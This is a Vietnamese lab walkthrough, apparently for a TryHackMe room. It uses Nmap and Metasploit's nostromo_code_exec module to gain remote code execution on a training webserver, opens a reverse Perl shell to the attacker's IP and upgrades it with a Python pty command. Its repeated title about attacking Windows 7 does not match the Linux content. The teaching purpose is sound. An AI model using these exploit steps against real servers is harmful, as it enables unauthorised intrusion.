Kali linux tấn công windows 7

Xin chào,

Như bài hôm trước mình đã đề cập, hôm nay thay vì học chay tiếp phần các chức năng đặc biệt của Meterpreter ở task 9, chúng ta sẽ tạm thời bỏ qua task 9 và thực hành tấn công webserver ở task 10 trước. Sau khi đã chiếm quyền điều khiển webserver thành công, chúng ta sẽ sử dụng webserver này để học và thực hành các phần của task 9.

Một điểm khác cần lưu ý là mặc dù ở task 10, đã chỉ ra thẳng cho các bạn webserver này có thể bị tấn công và xâm nhập bởi lỗ hổng nostromo_code_exec trên port 80, nhưng chúng ta sẽ cố gắng đi đầy đủ tất cả các bước của một quy trình pentest tiêu chuẩn, thay vì nhảy vào tấn công luôn để cho các bạn quen dần với quy trình pentest. Bạn nào cần xem lại quy trình pentest xin đọc lại bài sau nhé.

Cũng xin lưu ý: Bài này không dành cho những bạn chưa có kiến thức căn bản về mạng và Linux. Nếu bạn nằm trong trường hợp này, xin tham khảo series Mạng Căn BảnLinux Căn Bản trước khi đọc bài này. 2 series này sẽ cung cấp cho các bạn những kiến thức cần thiết về giao thức mạng, địa chỉ IP, các câu lệnh Linux căn bản và cách thức kiểm tra IP khi thực hành với TryHackMe, v.v. Đây đều là những kiến thức bắt buộc phải nắm trước khi đi vào bài hôm nay, nên bạn này chưa biết hoặc chưa nắm vững thì nên xem lại nhé.


1 – Performing reconnaissance (thu thập thông tin mục tiêu)

Như trong các bài trước mình đã đề cập, Metasploit có kèm cả Nmap nữa. Nên trong bài hôm nay, chúng ta sẽ sử dụng Nmap bên trong Metasploit để thu thập thông tin cần thiết của webserver mục tiêu.

Nmap được tích hợp bên trong Metasploit sẽ được chia làm 2 câu lệnh sau:

  1. db_nmap: Khi sử dụng db_nmap chức năng hoàn toàn tương tự như Nmap bình thường thôi, tuy nhiên kết quả thu được từ db_nmap sẽ được lưu vào cơ sở dữ liệu PostgreSQL nhằm phục vụ cho việc truy xuất lại dữ liệu về sau.
  2. nmap: Câu lệnh Nmap bình thường, kết quả không được lưu vào cơ sở dữ liệu PostgreSQL của Metasploit.

Hôm nay chúng ta sẽ dùng thử chạy cả câu lệnh db_nmap và nmap nhé.

B1: Khởi động Metasploit bằng các câu lệnh sau

vincent@kali:~$ sudo su
root@kali:~# systemctl start postgresql
root@kali:~# msfdb init
root@kali:~# msfconsole

B2: Tiến hành chạy Nmap để thu thập thông tin mục tiêu. Bạn nào quên cách dùng Nmap, xin xem lại bài này nhé.

Scan 1: Tìm tất cả các TCP port đang mở trên webserver

msf6 > nmap -vv -Pn -T4 -p- -oN thuc_hanh_metasploit_TCP_scan 10.10.70.59

Chúng ta có được kết quả như sau:

Kali linux tấn công windows 7
H1.1

Scan 2: Tìm các UDP port đang mở trên webserver

msf6 > nmap -vv -Pn -T4 -sU -oN thuc_hanh_metasploit_UDP_scan 10.10.70.59

Chúng ta có được kết quả sau:

Kali linux tấn công windows 7
H1.2

Dựa vào kết quả của scan 2 và scan 3 chúng ta có thể thấy webserver này chỉ có duy nhất một port 80 TCP đang chạy mà thôi. Chúng ta sẽ tiến hành thực hiện scan 3 nhưng lần này, chúng ta thử dụng db_nmap xem có gì khác biệt nhé.

Scan 3: Tìm tên và version của services đang chạy, chạy script tìm lỗi và tìm hệ điều hành đang chạy trên webserver

msf6 > db_nmap -vv -Pn -T4 -p80 -sC -sV -O -oN thuc_hanh_metasploit_script_scan 10.10.70.59

Chúng ta có được kết quả scan bên dưới, cho biết port 8- đang chạy một http server có tên là nostromo 1.9.6. Và chúng ta cũng thấy khi dùng db_nmap, đầu mỗi câu lệnh sẽ xuất hiện một header như bên dưới:

Kali linux tấn công windows 7
H1.3

Tổng kết lại, sau khi hoàn thành bước 1 của quy trình pentest, chúng ta biết được webserver này đang chạy Linux và có http service có tên là nostromo 1.9.6 trên port 80.

2 – Identifying vulnerabilities

Từ tổng kết ở phần 1, chúng ta sẽ thử dùng chức năng search trên Metasploit để kiểm tra xem nostromo 1.9.6 có dính lỗi bảo mật nào không bằng lệnh sau:

msf6 > search nostromo 1.9.6

Kali linux tấn công windows 7
H2.1

Chúng ta phát hiện nostromo 1.9.6 có dính một lỗi bảo mật cho phép hacker có thể thực thi câu lệnh điều khiển hệ thống từ xa (RCE – Remote Command Execution).

Để hiểu thêm về lỗi này chúng ta dùng câu lệnh bên dưới:

Kali linux tấn công windows 7
H2.2

Theo mô tả của Metasploit, chúng ta có được thông tin cơ bản về lỗi này như sau:

“This module exploits a remote command execution vulnerability in Nostromo <= 1.9.6. This issue is caused by a directory traversal in the function http_verify in nostromo nhttpd allowing an attacker to achieve remote code execution via a crafted HTTP request.”

Có nghĩa là lỗi này xảy ra trên phần mềm Nostromo từ version 1.9.6 trở về trước cho phép hacker có thể thực thi câu lệnh điều khiển hệ thống từ xa. Lỗi này xuất phát từ một lỗ hổng bảo mật của hàm http_verify trên phần mềm Nostromo nhttpd, cho phép hacker có thể tiếp cận, đọc được các files quan trọng trên hệ thống (không cho phép người ngoài hệ thống truy cập) và thực thi câu lệnh kiểm soát hệ thống thông qua HTTP request.

Tổng kết lại, kết thúc bước 2 của quy trình pentest ta phát hiện được nostromo 1.9.6 dính lỗi bảo mật RCE (Remote Code Execution).

3 – Exploiting vulnerabilities

Sau khi xác định được lỗ hổng bảo mật để xâm nhập ở bước 2, chúng ta sẽ bắt đầu xâm nhập webserver theo trình tự sau:

B1: Chọn phần mềm khai thác lỗi đã tìm được

msf6 > use exploit/multi/http/nostromo_code_exec

B2: Kiểm tra các options của module tấn công đã chọn

msf6 exploit(multi/http/nostromo_code_exec) > show options

Kali linux tấn công windows 7
H3.1

Chúng ta sẽ có các options quan trọng cần phải set giá trị như :

  • RHOSTS
  • RPORT
  • SRVHOST
  • SRVPORT
  • LHOST
  • LPORT

Trong đó vì các giá trị khác đã được gán mặc định và phù hợp với những thông tin mà chúng ta đã thu được rồi, nên chúng ta chỉ còn cần phải gán 2 giá trị là RHOST và LHOST thôi. Các bạn nào muốn biết ý nghĩa của mỗi option thì hãy đọc phần description ở kế bên nhé. Hoặc xem lại bài trước nhé.

B3: Gán giá trị cho option RHOST (IP của mục tiêu) và LHOST (IP của hacker)

Chúng ta sẽ lần lượt gõ các lệnh sau:

msf6 exploit(multi/http/nostromo_code_exec) > set RHOSTS 10.10.70.59
msf6 exploit(multi/http/nostromo_code_exec) > set LHOST 10.2.56.144

Kali linux tấn công windows 7
H3.2

B4: Kiểm tra lại các options một lần nữa

msf6 exploit(multi/http/nostromo_code_exec) > show options

Kali linux tấn công windows 7
H3.3

Vậy là mọi options cần thiết đã được thiết lập. Tuy nhiên ở đây nếu tinh ý, các bạn sẽ phát hiện dòng sau:

Payload options (cmd/unix/reverse_perl)

Ủa, tại sao không phải là Meterpreter mà lại là reverse_perl payload? Mình đã thử set up payload thành Meterpreter và kết quả là khi exploit nhận được báo lỗi như sau:

Kali linux tấn công windows 7
H3.4

Mình nghĩ nguyên nhân có thể đến từ module khai thác lỗi này không tương thích với Meterpreter, nhưng không sau, chúng ta cứ xâm nhập trước sau đó sẽ tiến hành upgrade lên Meterpreter sau.

B5: Tiến hành tấn công

Chúng ta sẽ tấn công bằng lệnh exploit

msf6 exploit(multi/http/nostromo_code_exec) > exploit

Kali linux tấn công windows 7
H3.5

Nếu bạn nhận được dòng thông báo:

[*] Command shell session 1 opened (10.2.56.144:4444 -> 10.10.70.59:59836) at 2021-01-17 21:44:36 -0700

Nghĩa là chúng ta đã xâm nhập thành công.

Chúng ta có thể thử kiểm tra xem account chúng ta đang dùng để xâm nhập là ai bằng câu lệnh sau:

Kali linux tấn công windows 7
H3.6

B6: Nâng cấp shell (shell upgrading)

Vì shell chúng ta lấy được có khá nhiều hạn chế như:

  • Nó không có header.
  • Nếu các bạn sử dụng các câu lệnh như Sudo hoặc SSH thì sẽ không dùng được. Ví dụ như hình bên dưới:

Kali linux tấn công windows 7
H3.7

  • V.v.

Các bạn có thể thấy khi dùng sudo -l, chúng ta không thấy bất kỳ câu lệnh nào trả về cả. Vì lẽ đó, chúng ta sẽ tìm giải pháp để nâng cấp lên một shell tốt hơn.

Một trong những cách upgrade shell khá phổ biến là chúng ta sẽ kiểm tra xem server nạn nhân có đang chạy Python hay không, bằng câu lệnh sau:

Kali linux tấn công windows 7
H3.8

Chúng ta thấy mục tiêu có chạy Python. Vậy chúng ta sẽ upgrade shell bằng câu lệnh sau:

python -c 'import pty;pty.spawn("/bin/bash")'

Câu lệnh trên có thể hiểu một cách đơn giản là chúng ta sẽ sử dụng Python để chạy một dòng code (-c) cho phép tạo một shell /bin/bash cho phép chúng ta điều khiển server nạn nhân một cách hiệu quả hơn.

Kali linux tấn công windows 7
H3.9

Và như các bạn thấy, sau khi upgrade shell thành công, chúng ta đã có được header command, cho chúng ta biết directory hiện tại là (/bin) và user account hiện tại đang dùng (nostromo).

Mặc dù shell này không phải là shell tốt nhất mà chúng ta có thể upgrade vì chúng ta vẫn chưa thể dùng phím mũi tên lên xuống để truy cập ngược lại các câu lệnh đã nhập hay dùng phím Tab để autocomplete câu lệnh. Tuy nhiên, shell hiện tại vẫn đủ tốt cho chúng ta thực hiện các tác vụ cơ bản như chạy lệnh sudo -l hay SSH.

Bạn nào muốn tham khảo thêm các kỹ thuật upgrade shell khác thì hãy tham khảo bài viết sau.

Sau khi đã xâm nhập thành công vào hệ thống, các bạn hãy sử dụng kiến thức đã học được trong bài hôm nay cùng với các câu lệnh Linux cơ bản bên dưới để tra lời các câu hỏi ở task 10 nhé.

Đây đều là những command căn bản đã học ở series Linux Căn Bản, bạn nào quên thì nên xem lại nhé.


Chúng ta sẽ kết thúc bài ở đây. Trong bài viết ngày thứ 5, mình sẽ hướng dẫn các bạn cách upgrade shell lên Meterpreter, cách sử dụng Metasploit để tìm các lỗi phục vụ cho mục đích leo thang đặc quyền, đồng thời chúng ta sẽ học phần kiến thức của task 9 nhé.

Chúc các bạn học tốt,

Vincent Nguyễn